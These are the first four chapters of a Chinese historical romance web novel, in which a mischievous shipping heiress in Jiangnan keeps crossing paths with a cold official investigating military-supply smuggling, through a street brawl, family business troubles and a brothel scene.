《风景旧曾谙》
1. 金风玉露(一)
从舆图上看,大齐的疆域轮廓似一条盘卧在大地上的巨龙——只可惜是条搁浅的龙。
大齐传国至今,皇帝已至第六代,年号建元。建元帝靠捡漏上位,志在千里,实则无为。
若非要让史官从他身上扒出点什么功绩,那应当是把前朝沟通南北的大运河重新翻修了一遍,改名——嘉安运河。
“这嘉安运河啊,最开始是那前朝的亡国帝建的,就为了看看咱们江南盛景,可谁知道转眼就被蛮子顺着河道掏了老窝,成了遗臭万年的亡国君。”
船夫撑着浆,将说书人那听来的故事来来回回的讲给过路人,哄得船蓬外的异乡人心驰神往。
乌篷里,一袭碧衣的少女心慵意懒的将渔草帽扣在脸上,心道:
要是那亡国之君真成了流传千古的笑柄,这船夫肯定出了一份力。
只是平头百姓不懂,将当朝皇帝和前朝亡国君说在一处是犯了大不敬之罪。
暨雨兴致勃勃的还要接话,旁边一直闭目养神的人缓缓开口。
“早闻嘉安湖风景秀丽,平陵的双色并蒂莲风月无边,不知老者可曾见过?”
他音质偏冷,语调泛泛,口说欣赏之言,却没听出几分欣赏之意。
江云悠被这声音吸引,支起头上的草帽,透过船帘间的缝隙,看到了遮天莲叶下一点浅金云纹,看起来低调而矜贵。
“双色莲啊,那都是好些年前的事了,听说是江家员外那个妹妹种的,自那位小姐去世后,这莲就慢慢的都败了。”
暨雨眉梢动了动,与身后那人对视了一眼,当即顺杆打听起来。
“船家说的江员外,可是平陵做航运那个江家吗?”
船夫道:“是哩,江家那一家都是大善人啊,我娃儿那个学堂还是江家建的呢。”
“不过这江家也是造了孽,养的两个小辈都成了混世魔王。”
船夫说起来滔滔不绝,掌握信息的程度跟村口大娘们不相上下。
“就前些日子还拎了一兜子锦鲤放到这水里来。你说这鱼哪是这水里能活的,没几天就翻肚子了,还有啊……哎,哎……”
他话音没落,船身突然猛晃了一下,等他手忙脚乱的把要掉到水里的浆捞上来时,嘴巴忽然呛进个什么东西,即刻溶化在了嗓子里,等他再张口时,竟发不出声了,吓的他直抠自己嗓子眼。
暨雨一个激灵起身,拿起剑喝斥:“谁,快出来!”
船上静谧一片,唯有满池荷叶在风中发出窸窣声。谢衡压下暨雨的剑,缓缓抬眼看向乌蓬里。
脏成酱色的船帘忽被一只白皙的手撩起,秋阳高照,她腕间的金玉手链上折出一道耀眼的光。
“别激动嘛,我只是看船夫大爷这一路讲了太多话,帮他歇会而已。”
江云悠伸着懒腰走了出来,发间缀着的珍珠宝石随着她的动作发出细碎的碰撞声,却不及她话音清脆万一。
“这药丸啊,清喉润肺,千金难买,别人想要我还不给呢。”
她甩着腰间巴掌大的银白色皮包,弯眼看向暨雨“怎么样,你要不要试试啊?”
暨雨忙抿住嘴,囫囵不清道:“你赶紧把解药交出来,不然我们就对你不客气了!”
“你们?”江云悠掏掏耳朵“怎么,你堂堂一个男子汉大丈夫还要以多欺少……”
她说着,漫不经心的朝暨雨身后看去,视线不可避免的与那双清冷的眸子相对,声音一滞。
那是一双葳蕤生光的眼睛,本该温柔多情,此刻却凌厉毕现,即便如此,也难掩他逸气凌云的气质。
江云悠话音骤然一转,弯着的嘴角漾出两个梨涡,笑的灵动而明媚。
“咦,这位公子,我们是不是在哪见过?”
剑拔弩张的氛围被她这一句话浇灭。暨雨握着剑的手一抖,小心的瞥向自家主子。
谢衡审视的目光微顿,又听她道:“不知公子如何称呼,家住何方,芳龄……啊不,今岁几何啊?”
江云悠言行间一派纨绔模样,偏生她长得娇俏,这般动作反倒显出几分俏皮。
暨雨惊得下巴都要掉下来,都说江南人杰地灵,他这回算是长见识了。
谢衡双手抱臂,扯了抹笑“我们认识?”
江云悠笑语嫣然,歪理一堆“这认识认识,不认怎么识?”
她正欲介绍自己,余光却瞥到后面荷叶丛里惊起的欧鹭,神情骤变,飞快贴近船边蹲下。
这么一来,两人的距离一下子拉近。
暨雨被她一惊一乍的动静弄得差点再次拔剑。
谢衡看向不远处荷叶丛里划出的木舟,还未分辨出什么,忽感衣袍一紧。
他垂头看去,被江云悠满头的珠钗宝石晃了下眼。
“大爷,船爷,快往岸处划,快点快点,我要是被抓了你的解药可就没了啊,快使劲,使劲啊大爷。”
江云悠一改方才娇纵模样,先是对船夫威逼利诱,又转头对谢衡坑蒙拐骗。
“拜托公子替我遮掩一下,救人一命胜造七级浮屠,若我此番得救,来日定结草衔环,以身相许。”
谢衡看着她那双狡黠如狐的眼睛,嗤道:“我怎么看着他们是替天行道。”
他手上加了力气,一把撤出自己的衣袍。
“哎——”
江云悠没了遮挡,完全暴露,另一条船上的几人瞬间注意到她反光的脑袋。
“少东家在这!”
“快划!”
“少东家!快跟我们回去吧!”
谢衡听到他们的称呼,再看眼前这个身着华丽的碧衣少女,眸色闪烁一瞬。
两船距离逐渐缩小,江云悠看了眼近在咫尺的岸边,忽的起身踩在船头。
众人被她的动作惊到,手舞足蹈的劝她不要冲动,暨雨和说不出话的船夫嘴巴张成半圆。
仲秋时节,嘉安运河平静宽阔,两岸杨柳低垂,她身后是雾霭的远山,脚下是连天的荷叶。
江云悠在这一片混乱中回过身,一块莹白玉佩自她手心垂下,蔚蓝色璎珞在空中摇荡。<
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p>嘈杂声中,她一字一顿念出玉佩上的字。
“明——淮——”
谢衡应声抬眼,八面不动的神色终于有了真实的变化。
微风忽起,湖面泛起涟漪,碎发遮住了她的眉眼,余下嘴角一点清浅的梨涡。
江云悠将莹白的玉佩抛回谢衡怀里,笑音清丽明朗:“明淮哥哥,山水相逢,有缘再会。”
船身一晃,那条装着几个大汉的船紧赶慢赶还是来晚一步,连江云悠的一片衣角都没摸到。
突遭横祸的船夫终于挺过了药效,立即猛吸了一口气,操着乡音中气十足的跺脚骂道:“娘了个巴子的小丫头片子,别再让我看到你!”
归还的玉佩还带着她掌心的温度,谢衡在这一片兵荒马乱中抬首望去,江云悠已经踩着最后一片荷叶跃上了岸,鱼一样的隐没在人群之中。
平陵以湖光山色闻名,水墨声韵造就一众风流雅士,五里一园林十里一馆阁,民间俗语自有“不到平陵,不知江南美”之说。
本着“最危险的地方就是就安全”的道理,江云悠转了一圈又绕回上岸的地方,买了包酥肉干倚在酒楼后的桃树杈上,香味引来一只大黄狗。
她捏着肉干冲黄狗晃了晃:“大黄,坐,坐下就给你。”
可惜大黄狗眼里只有肉干,尾巴摇的活像风车。
江云悠竖起手指摇了摇,伸手往下一压给它做示范。
“噗——公子你看你看,江南可真是奇人异事遍地走,我打赌她那袋肉干最后肯定鸡飞蛋打了。”
酒楼二层,暨雨指着窗下的人乐不可言,谢衡往楼下瞟了眼,神色一顿:怎么又是她?
此时,耳边忽然传来个刺耳的声音。
“吹啊,你不来一首,本公子怎么知道你这笛子究竟能不能用?”
江云悠好奇心起,注意力被远处里三层外三层围着的人群吸引,大黄狗找准机会跃起,一口叼走她手上的肉干,不听她念经了。
“嘿,公子你看,被我说中了吧,这姑娘可真败家,早知道我去帮她训,那肉干给了我多好。”
暨雨早被那香味馋的流口水,忍不住肉疼起来。谢衡斜他一眼:“你现在下去追还来及。”
暨雨老老实实抿住嘴,转移话题:“哎,那曹骏达总算来了!”
人群中央簇拥着一男一女,男的膘肥体胖,低头折出三层下巴都看不到自己脚尖。
他笑的脸宽了一圈,更添几分猥琐:“还是说,你想给单独吹给本公子听啊?”
曹骏达是平陵知县曹安仁五代单传的宝贝儿子,平日里没少仗着自己身份欺男霸女,平头百姓都敢怒不敢言。
楼上的暨雨喜形于色“妥了,只要咱们拿住了这曹骏达的把柄,不怕那曹安仁滑泥鳅不听我们的。”
谢衡与曹骏达对面的女子对了个眼神,却在收回目光时停住。
人群外围,一袭青衣少女扒开人堆往里走,一头乌发被挤成了个造型标准的鸟窝。
谢衡啧一声,右眼皮不详的跳起来。
2. 金风玉露(二)
江云悠转眼已近人群中央,忽被一只手拉住。
“少东家?!您怎么在这?”
书砚是跟在方妤晴身边的小丫头,此刻胳膊上挎了个篮子,应当是出来才采买的。
江云悠往四处看了看,确定此处就她一人。她眨眨眼,硬是给逃学找了个风雅的由头。
“秋阳明媚,天公作美,我等岂能蜗居于室辜负美景?”
书砚十几岁便跟着照顾江云悠,对眼前这个活宝的脾性早已摸透。
她无可奈何一笑,想把她从眼前的混乱中带走:“少东家,这可是曹县令家的儿子,家主最厌恶朝廷中人,严禁我们接触的!况且现在这么危险,咱们还是走吧。”
“可阿舅还说,达则兼济,助人累善亦助己,我看到恶狗咬人又怎能放任不管?”
江云悠拍拍她的手:“放心,此处离我哥赌坊近的很,他养着一堆虎背熊腰的打手,倒时你领人蹲在后面,等曹骏达先动手再出来,咱们再来个关门打狗。”
书砚听了此话还是觉得有些不妥,正想着江云悠已经大摇大摆走上前。
“快让让快让让啊,我那只大狗没栓绳,可别咬着大家。”
她声音一出,周围人顿时伸长脖子看过来,不少人认出这位江家的活祖宗,登时躲开一丈远,生怕这俩混世魔王打起来殃及池鱼。
对面酒楼里,谢衡对愣住的孟笛摇摇头,垂眼看向那搅屎棍:真是邪了门了,怎么哪都有她?
曹骏达作为平陵霸王,自是晓得江云悠,只是江家航运生意大,他爹嘱咐过能不招惹就不招惹,于是指着她狠道:“这没你事,快滚,少多管闲事!”
江云悠无视他那胖猪蹄,迈着步子悠闲走到伪装的孟笛身边。
孟笛在战场上巾帼不让须眉,但演起戏本子就略显生硬,此刻看着眼前突然出现的少女,一时不知怎么接戏。
江云悠还以为她害怕的说不出话,轻轻拍了下她的胳膊。
“姑娘,畜生无状,没吓到你吧?”
曹骏达再蠢也听出江云悠拐弯抹角的在骂自己,他大脸盘子上的面子挂不住了,气血上涌地吼道:“给我上,抓住她!我今天就让你知道知道,这平陵到底姓什么!”
江云悠早有准备,伸手一扬,白烟弥漫开来。她推了一下旁边的孟笛,声音还是笑吟吟的。
“躲好了姑娘,请你看什么叫狗咬狗。”
她侧身避开身后两人挥来的木棒,趁烟雾缭绕之际把人引向曹骏达,自己闪身到了白烟外。
曹骏达腿上挨了一棍,身子又笨重,一下也不落的把棒子挨了个全,疼的吱哇乱叫。
周围人胆子大了起来,鼓掌叫好。江云悠倚着小摊笑的乐不可支。
烟雾散去,曹骏达捂着鼻青脸肿的脑袋气急败坏地喊道:“你们这群废物,给我抓住她!抓住她!不然全都给我蹲大狱去!”
此话一出,为表忠心的打手们即刻转身向江云悠扑来。
她仰身一避,先往孟笛怀里抛了个银子,跳到小摊后,把左右扑过来的两人摁到一起。
小摊在乱斗中被砸了稀烂。
江家航运出身,自然不缺练家子,江旬注重对子女培养,希望两人有自保能力,因此请了不少武学先生。
但江云悠吃不了苦,学的最熟的便是偷跑出家时用的轻功,江旬也狠不下心罚她,不然她那天天偷跑出来的墙洞早八百年就堵上了。
她借着小聪明和灵活的身法堪堪躲过围攻,终于等来了江云帆的口哨声。
她顿时放下心来,装作招架不住,曹骏达众人往江云帆那边领。
曹骏达上了当,越发猖狂,挺着圆滚滚想肚子想要踢江云悠一脚威风威风。孟笛碍于身份不能暴露而无法出手,只能干着急。
江云帆盯着场上局势,正当时机成熟准备挥手时,场上却猛然多出来的一人。
“我嘞个弥来佛啊,枉本少爷着急忙慌的赶过来。”
书砚不明白他说的什么,着急道:“少东家,快让他们动手啊……”
“莫急莫急。”江云帆手缩回来,捏着紫檀木串转起来“瞧一出英雄救美的戏也不赖。”
在又一个木棒抡来的时候,江云悠侧身险险闪过,眼见就要撞到木架上的尖角,忽然一只手覆在上面,盖住了尖锐——她磕到了谢衡的手上。
谢衡顺势揽住江云悠的肩,带着她后退避开左侧落下的棍子,抬脚利落的踹向又一个挥棍上前的人。
这些人平日跟着曹骏达欺乡霸邻,一遇到真正会功夫的根本不够看,几人如断线的风筝飞了出去,狠狠摔倒了地上。
江云悠由谢衡揽着,微微仰头,看到了他棱角分明的下颌,一股的清淡沁雅的香气萦绕在鼻端。
转瞬间,谢衡已把她带出人群,见她还发愣,嘲道:“被打傻了?”
江云悠尚来不及开口,忽见身后一人偷袭,未等提醒,谢衡已经先一步闪身避开。
他侧眸瞥向江云悠:“退后,别碍事。”
紧接着,他顺手抽过破烂小摊上的一根木笛,动作迅疾的避开几人围攻,长笛在他手里如锋芒毕露的剑,所到之处风卷残云。
江云悠选了个绝佳观赏位置——战场中心——琴摊后。她咬着指甲看向旁边倒在地上哀嚎的人,当起了观众,伸手往琴摊上摸了个长笛认真审视起来。
这玩意……这么牛呢?
剩下的人畏畏缩缩不敢上前,曹骏达慌乱的躲到几人后面,色厉内荏道:“上!都给我上,你们这群废……”
他话还没完,两百斤的肥膘已经摔进了水坑,半晌没直起身。
“刁民!大胆刁民!我爹可是平陵知县,你,你不想活了吗?!”
“知县?”
谢衡迈过脚边挡着的人,环视一圈:“按大齐律,强抢民女者,杖五十,流放论处,无故致人重伤者,杖三十,徒刑一年以上。”
他踩住曹骏达衣角蹲下身:“地方知县,八品而已,奉皇命,食皇禄,还真以为自己能称王称霸了吗?”
曹骏达被他周身的冷气吓得脸盘子直颤,压根没听清他说的什么。
谢衡把裂开一道口的木笛抵在他三层下巴上,声音极轻极冷。
“回去告诉曹安仁,管好自己那一亩三分地,要是有什么不合时宜的东西流出去,掉了乌纱帽事小,可护好自己那顶项上人头。”
他起身居高临下的看曹骏达一眼,随手扔下木笛。曹骏达这才从惊吓中回过神,带着人屁滚尿流的跑了。
街上行人早就躲得不见了踪影,孟笛也已撤离。江云悠从变成一堆破烂的琴摊后探出脑袋,学着戏台上的人行了个江湖礼。
“多谢明淮兄拔刀相助,小弟简直佩服的五体投地。”
谢衡懒得理这搅屎棍,只觉得她少在自己面前晃悠便一切都万事大吉了。
江云悠还沉浸在他刚才横扫千军的势气中,自顾自道:“哎,你刚刚说的那一段什么什么杖五十三十的,是看的哪本书,回去我也买一册来翻翻,简直太威风了。”
她在船上时以为谢衡只是长得好看,却不想武艺竟高超至此,要是阿舅请来的是这样才貌双全的夫子,别说逃课,自己就是多练一个时辰又何妨?
谢衡被她拦了去路,被迫停下看着眼前人:“没书,让道,找你的狗去。”
他眉眼深邃,冷眼看着某人时总会不自觉让对方自惭形愧、不敢久视——一半是因为他面如冠玉的长相,一半是他那疏冷凌厉的气质。
不过让江大小姐一向勇往直前、敢想敢做,即刻又想出个主意:“不若我们结义吧,到时候你的武加上我的才,咱们称霸平陵指日可待啊。”
谢衡多
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少年没听过这么幼稚的话了,当下呵笑一声:“功夫练的稀松二五眼,志向还挺远大。”
眼见地上一片狼藉,谢衡又想起自己被搅黄的计划,冷道:“没事少做点梦,当大小姐就好好待在后院绣花,不是所有人都有义务跟在你屁股后面收拾烂摊子的。”
人面对事实时辩驳能力会下降,饶是能说会道的江云悠也噎了一下,甚至走了个神想稀松二五眼是什么意思。
不过江大小姐为数不多的优点之一就是乐观心大、有自知之明。
她把谢衡的冷嘲热讽当耳旁风放走,背过手凑近他:“我说,你这功夫不会是自小嘴臭总被人打,这才练出来的吧。”
谢衡冷笑一声:“心理素质差就少怨天尤人。”
江云悠还没来得及回怼,他又淡声撂下一句:“劝你不如把肉干换成鱼干,多吃点补补。”
江云悠顿了下,补什么?心理素质?这玩意是这么补的?不过……他怎么知道自己吃了肉干?
她这一愣再回神时,才发现街上冷不丁的只剩了自己一个,谢衡已经转入巷口。
身旁一个胡子花白的老人见打架的人都散了,才小心的走出来。江云悠本欲离去的脚步一顿,看着他布满青筋的手在一堆破木头里搜罗出个尚完好的小木雕,颤颤巍巍的收到怀里——那是他日以夜继赶出来谋生的东西。
巷子里,孟笛随谢衡一起从小门回了酒楼,小声道:“公子,要不要下午再试一次?”
“不用了。”
谢衡停下脚步,毫无征兆的转身,目光精准的定位到对面巷口的江云帆。
刚才场面紧张,他下了楼便直接出手,打斗时就觉得有道视线如影随形。
对面人广袖长袍,腰佩犀角玉带,左边坠着羊脂玉佩,右边挂着金丝容臭,比起珠玉满身的江云悠来有过之而无不及,就差把金元宝串成项链挂脖子上了。
江云帆见自己被发现,十分自来熟的冲他摆了摆手,臭屁的模样跟某人如出一辙。
谢衡思绪微动,明白了来龙去脉。
他往后看了一眼,那个满头宝钗的少女走到一处被砸坏的小摊上,拿出一锭银子买了块手帕,继而又到下一处被砸坏的小摊上。
她步履轻快,手腕上镶着翠玉的金链熠熠生光,或老或少的小贩抱着手里的银子,感激的喜不自胜。
孟笛顺着他的视线看过去,诧异道:“我亲娘,这银子都够买他们这一整个摊子了吧,这姑娘花钱按锭走啊。”
她说着从怀里摸出一锭银子:“说来我也得了个,公子,这不用充公吧……主要暨雨那小子因休沐这事不咋开心,我寻思要不买个糖哄哄。”
谢衡看一眼她手上那银子,转身往里走:“买糖还是磨枪随你,曹安仁那盯好了。”
“得嘞。”
巷子对面,江云帆见谢衡离开,悠哉的神色一收,目光少有的认真起来。
江云悠一巴掌呼向江云帆的胳膊。
“好你个江云帆,哪次你出事我不是两肋插刀,我一出事你就往我两肋上插刀是吧?你带这么一堆人是为了给我鼓掌的时候声音更大点呢?”
江云帆揉搓着胳膊,立时露出八颗牙挤眉弄眼道:“这不是有人去了,我再上不就多余了吗?”
江云悠没听懂他话里的促狭,翻个白眼哼道:“你要去了,曹大狗没准早尿裤子了,非得让他留下阴影,这辈子都不敢调戏姑娘才行。”
江云帆挥手让身后人回赌坊,拉着江云悠往前走。
“曹大狗再怎么也是那老狗县令他儿子,民不与官斗,收拾他办法多了,面对面的舞刀弄枪可是个自损八百的亏本买卖。”
他话顿了顿,看眼酒楼:“倒是你那朋友,究竟是何方神圣,不会……是官家人吧?”
“官家人?”
“官家人!”
3. 金风玉露(三)
“对啊,不然谁没事儿背齐律,盐吃多了吗?”
江云帆摸摸下巴,一展折扇:“不过这平陵城里就没我不认识的公子哥,他气度不凡又眼生是什么时候新来的?”
江云悠一把薅过他耍帅的扇子:“巧了,就今天上午。”
“今天?”江云帆眯起眼:“那我可得好好查一查他的底了。”
江云悠转着折扇,不解道:“干嘛?因为他抢了你的风头?”
“狭隘!格局能不能放大点。”江云帆道:“就他出现的这个时间,也够我查他十个来回了。”
“这个时间?”江云悠越听越迷糊:“这个时间发生什么事了吗?”
“你还不知道?”
江云帆看眼拼命给自己使的眼色的书砚,隔了半秒,如实道:“昨夜远叔押送的货船被偷袭了,人倒是都没事,被莫家救了,不过莫家那群后娘养的拿人要挟我们,竟然狮子大开口,要我们把丹阳那片港口给他们。”
“什么?!”江云悠险些又把一街的人都嚎过来:“怎么还会被劫船,咱家不是有鸽哨吗,怎么没示警吗?”
“当然示警了,要不然……”江云帆吞下后半句,转了话头:“咱们家大业大,占据航运龙头多年,旁人怎么可能不眼红。”
他把木串盘到手上,目光再次扫到酒楼某扇窗户,边推着江云悠往前走边跟她解释。
“江南世家多官商勾结,也就老江这老顽固不肯服软。这次海上出事,莫家趁机发难,平日唯唯诺诺的跳梁小丑也跟着跳出来,说这里面没有利益勾结,问猪猪都不信。”
江云悠听了个一头雾水,半懂不懂,听到最后一句,灵魂反问道:“那你信吗?”
江云帆“……”
江云悠被亲人呵护长大,去鸽哨的唯一正事就是烤两只鸽子解解馋,见过最黑暗的事也就是曹大狗欺乡霸邻,自是没有江云帆久浸商场的七窍玲珑心。
百姓骂起游手好闲的纨绔,常把江家两位少主绑在一起。其实江云帆实在冤枉,一直以来都只有江云悠才是那个“一不着家二不管事”的纨绔富二代。
这倒不是江旬重男轻女,只是江云悠自己不爱这些算计来算计去的东西。
江云悠担忧道:“鸽哨说远叔在哪靠岸?”
江大少表示不知道,他今日在正事上的时间已用完,为自己不务正业找了个风光的借口。
“本少爷都是管控大局的,这鸡毛蒜皮的细节不归我管,你去鸽哨问问……记得别烤我那鸽子了,养这么一只费我一两银子呢。”
江云悠撇嘴:“这会心疼起银子来,也没见你养鹦鹉哄姑娘的时候省。”
书砚眼见俩人又呛起来,赶紧插话道:“周队最早也得明日到吧,要不咱们先回去吧。”
江云帆眼睛提溜一下转到书砚身上:“你如何知道?”
“家主今早便回来了,方姑姑听家主说的。”她说着提了提胳膊上的篮子:“这不,方姑娘特地要我来买家主爱吃八宝鸭回去呢。”
江云悠顺着看了眼她那篮子,立时感觉肚子有些饿。
她转向江云帆,脸上立时换上了带着些谄媚的笑,连哄骗带耍疯的“请”他去了一品居大吃一顿。
午后,江云悠叼着鸡腿与江·助人为乐·善结账者·帆分道扬镳,又在外逛了会儿,才掐着散学时间往家走,恰路过上午的酒楼。
此时正值饭点,酒楼门庭若市,二楼一扇开着窗户的屋内,暨雨把一块铁牌子给谢衡。
“公子,之前抓的郑家那草包总算招了,还交出个这个东西。”
铁牌做工粗糙,上面画了个骷髅头。
“那人只说这是跟丹阳的人接头用的。”暨雨道:“看来这丹阳走私猖獗真不是谣传啊。”
谢衡翻了翻铁片,摩挲着上面的骷髅标。
丹阳比平陵还要偏南,古往今来就以肆市闻名,商业繁华。
四年前,民间与外邦交易没有限制,却不曾想有人顶着被砍头灭族的风险偷了镇北军粮和战甲跑到丹阳做起了卖国的生意。
那一战也因后备供给不足损失惨重,连失两城,当时的一众将士也损失惨重。
建元帝震怒,彻令严查,却迟迟不见结果,然而最可笑的是作为建元年间最石破天惊的大案,这件案情的最终结果却只被封在了一纸文书里放在角落吃灰。
若不是他后来有意探查,就真被那几个人头落地的替罪羊糊弄过去了。
那之后,朝廷对这桩案子唯二做出的动作就是将对外交易权收归中央。
但水至清则无鱼,此令一颁布,不少靠山吃山靠水吃水的百姓断了生路。为了存活,他们挺而走险的继续与外邦做生意,还有了个专门暗地交易的“草市”。
建元帝主业修仙,疏于朝政,加之这一届统管当地的太守姚肃谦本身就是个尸位素餐的,不跟着在里面搅浑水就算积了大德了。
就这样,“草市”变为公开的秘密黑市,反倒成了丹阳各行业中的顶梁柱。
同样是军备,差不多的线路,都是丹阳……这很难不让人往一处想。
“公子,那咱们今夜还去揽仙楼抓冯远山吗?”
“推迟一天。”谢衡将铁片收起来:“让季柏跟丹阳太守打听一下,切记不要打草惊蛇。”
江府,前院的大厅里早早点起了灯,一群穿着长衫的掌柜管事从里退出来,有几个资历老的认出江云悠,拱手行礼。
她迭声喊了堆叔伯好,跳进屋里。江旬坐在中央,闭目揉着眉心,木桌上的茶已经凉透。
江云悠踮着脚上前,轻喝:“嘿!阿舅,小的来给你请安啦。”
江旬睁开眼,见江云悠一本正经的拱着手,表情却作怪搞笑,不由笑骂:“舍得回来了?”
“什么回来,我一直在家啊。”她眨巴着眼不认,重新为江旬换了杯热茶:“我还知道阿舅中午吃了八宝鸭呢。”
江旬不稀得拆穿她,喝了口水润喉。
“阿舅,今日怎么来了这么多人,是远叔和莫家那事吗?”
江旬看她一眼,慢悠悠道:“还说没出去,听你哥说的吧?”
“阿舅神机妙算,小的自愧弗如。”
“少学你哥油嘴滑舌,你那些心思啊,多用在正道上比什么都强。”
江旬顺带着数落了遍不在场江云帆,这才接回她问的话。
“是你远叔的事,莫家见识短浅,铁了心与朝廷那帮吃人不吐骨头的合作,也不想想,今日那帮人会用这种阴毒的手段对别人,他日怎就不会把毒针对准所谓的盟友。”
江旬放杯子的声音重了些,里面茶水溅了出来。
江云悠隐约感觉江旬话里对朝廷的鄙夷不屑大过莫家,疑惑道:“阿舅,人人都巴不得与官家合作,咱们为何不呢,这不是眼下解决问题最快的办法吗?”
江旬眉目立即严肃起来:“玩弄权术者唯利至上,与这群人为伍,能得到什么好下场?退一万步,就算能保全自己,但能保证自己不会在漩涡的裹挟下伤害他人吗?”
他不知想到什么,目光沉沉落到茶杯中打旋的茶叶上:“权之一字,就像是头吃人怪物,它利用你的欲望,把你的良知、一切都蚕食殆尽,将你变成它的傀儡,最后也成为一个怪物。”
江云悠懵懂的听着,消化不了这些认知之外的东西。
江旬看着她那双与江泠如出一辙是眼睛,无声长叹:“好了,你只要记住,远离这些朝堂的人,离得越远越好。”
他揉揉江云悠的脑袋:“走吧,去吃饭,你远叔也该回来了,明日放你一天假吧。”
江云悠立时把这些距她千里之外的道理抛到脑后:“真的!阿舅英明,阿舅威武!”
屋内的沉闷随着她的欢呼一扫而净,但江旬的那番话到底在江云悠经历尚浅的心里留下一道痕迹,她能感觉到,江旬在说这些时内心的沉郁甚至是愤恨。
阿舅不是从没与官家人接触过吗?为什么每每谈起那些就情绪激烈?
翌日,艳阳高照,江云悠去鸽哨打听到周远已经无事,只不过船要次日才靠岸。她放下心来,乘船玩去了。
嘉安湖
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停着披纱挂幔的游船画舫,其上歌姬乐舞彻夜不绝,宝马香车里燕瘦环肥。在这十里长乐街上,连风都带着脂粉和酒香。
江云悠难得光明正大出来玩,立时乘船到了长乐街,换了一身富贵公子哥儿的扮相,辗转各大销金窟,最后摇着折扇来到了揽仙楼——平陵第一大青楼。
揽仙楼名字取得附庸风雅,来往恩客却穷奢极欲。
雅室里,江云悠兴致缺缺的跟着众人朝歌舞不断的台边扔了锭银子,拄着头打呵欠。
画屏后闪过一个身姿曼妙的女人,端来一碟装点精致的点心放到桌上。
“奴家听说江员外今日在街头的翠玉园谈生意,还以为小公子不来了呢。”
女人青黛娥眉,眼尾处挑起一抹红色,将她美艳动人的双眼描绘的更加突出。
“我阿舅来这边了?”江云悠拿着芙蓉糕顿了下,又心宽的一摆手:“无碍无碍,远着呢。”
楼下再次响起呼声,江云悠咬着点心往下看,挑剔道:“如今的魁首可真是一代不如一代了,那水袖挥的要力度没力度,要柔美没柔美,还没阑珊姐姐当年一半好看。”
柳阑珊掩唇笑道:“承蒙小公子看得起奴家,不过今日这女孩千娇百媚、轻纱雪肤,舞姿上一点瑕疵,倒也足以忽略不计了。”
江云悠被她这么一说,到专心的观察起那女子的妆面来,看着看着,那离经叛道的脑袋里便冒出个鬼点子。
“我看不然,她这妆容艳丽有余,却耐不住久看……我听闻阑珊姐姐当年夺魁时的落梅晓月妆风靡一时,卖菜的阿婆扮上都比平时多卖了两筐青菜。”
江云悠合起那把湘妃扇,眨眼看向她:“不知阑珊姐姐现在可还会化?”
柳阑珊看着眼前古灵精怪的姑娘:“小公子的意思是……”
……
“哇,公子你看,那河里都是亮的啊……这楼居然有这么高,灯笼都是怎么挂上去的啊。”
暨雨是普通农人家出身,宁勒又是个野草高过庄稼的地方,此番下江南于他而言,便是从不毛之地到通都大邑。
谢衡眼看他仰着下巴都要走到人身上,伸手弹了下他的脑袋。
“用不用再给你租条船坐着赏会儿?”
暨雨捂着后脑勺老实下来,伸手往前一送:“公子先请。”
谢衡看眼他身后揽仙楼的牌坊,把他那胳膊拨转半圈:“醒醒脑子,等找到了冯远山给你休沐半日。”
暨雨眼睛一亮,追上谢衡:“真的吗公子……那能提前把银钱也发给我吗?”
揽仙楼中,香炉中轻烟缕缕升起,在白雾散尽处,一双水光潋滟的眸子缓缓睁开。
江云悠任柳阑珊摆弄了小半个时辰,迫不及待地拿起铜镜来照。
镜中女子红裙曳地,额上一点红玉坠子配以金色花钿,眼尾用金红细线勾勒出一朵红梅,点着细细的金粉。
柔媚的妆容很好的融合了她的娇憨,如一朵娇艳绚烂的海棠花,明丽清绝。
江云悠摸摸头上缀着金铃与红玉的飞仙髻,感叹道:“阑珊姐姐怕不是将仙女面给戴上了吧。”
柳阑珊被她拐着弯夸自己给逗笑,两人又闲聊了会,眼见天色渐暗,江云悠塞了块糕点出声告辞。
“小公子稍等,长乐街上什么三教九流的人都有,这妆容打眼,小公子又容貌出众,奴家去拿个幂蓠给小公子遮一下吧。”
江云悠本想拒绝,又怕碰见街头翠玉园里的阿舅,索性由她去拿了。
柳阑珊为她挑的衣裙虽并不暴露,却也免不了轻纱丝绸层层叠叠。
江云悠从没穿过这么复杂的衣裳,一不留神就踩到拖在地上的红纱。
她吐槽了句美人难当,准备把衣服换回来,转身时,恰看到一个怀抱佳人的身影,脑袋转了一半的江云悠瞬间弹回来。
那不是江云帆吗?他不在鸽哨跑这来干嘛?
“好啊,让你总在背后告本姑娘黑状,这次可逮到你的狐狸尾巴了吧。”
她瞥到桌上妆匣里的红色面纱,一计鬼主意立上心头。
4. 金风玉露(四)
走廊上,男女相拥着来来往往,她正准备挨个屋子寻摸,忽听见一道女子啜泣的声音。
“……冯老爷饶了奴吧,奴是清倌人,卖艺不卖身的……啊!”
“小娼妇,都来这了还说什么清白不清白,没卖过是吧,正好让爷帮你破个雏。”
他大手轻而易举的撕裂女子的衣服,正要进一步时,房门突然被推开。
“我说怎么到处都找不到这姑娘呢,原来在这呢……呀!”
江云悠两道刚化好的柳叶眉飞起来,捏细的嗓音夸张发尖叫,连声道:“快别碰她,这姑娘身上不干净。”
她捏着兰花指飞快上前隔开了两人,背身的时候将手上一点红色粉末撒到女子胳膊上。
冯远山被扰了兴致,张嘴就骂:“你他奶奶的谁啊,滚一边去。”
“我奶奶是谁你管不着,他奶奶是谁我也不知道。”
江云悠抛了个媚眼,在他再次怒吼前指着女子胳膊上已经浮出来的红点:“呀!都这么严重了,保不齐会传染呢。”
地上跪着的女子被吓坏了,江云悠眼睛都快眨飞了才反应过来,即刻带着哭腔接道:“冯老爷饶命,奴家本只是想赚点钱治病的……”
冯远山那双好色的眼睛立马从迷茫变得惊怒起来,瞬间退后两步指着她大骂,扬声要找老鸨。
江云悠背后掏出一包泻药撒到酒里,对地上那女子使眼色让她出去,随即又用那发腻的嗓音对冯远山道:“别激动别激动,气血上流更危险,快喝口水,将那毒冲一冲。”
冯远山贪财好色,惜命的很,忙就着那双玉手把酒喝下去。
正是此时,房门被象征性的轻敲了两下,而后从外推开。
江云悠动作一顿,皱眉看去,恰对上了那双清冷的眉眼。
谢衡腰间银剑已卸,身上冷然的气质却丝毫未减,走动间带入丝丝缕缕的冷风。
他深邃的眼眸在江云悠那张花魁妆面上停了一下,便看向了后面的冯远山。
“冯总旗,可让我好找啊。”
他闲庭信步的走进来,语调熟稔自然,反倒像本场姗姗来迟的主角。
本已受江云悠蛊惑的冯远山听到自己往日在军中的称呼瞬间清醒,做贼心虚的警惕起来:“你是何人?找我干嘛?!”
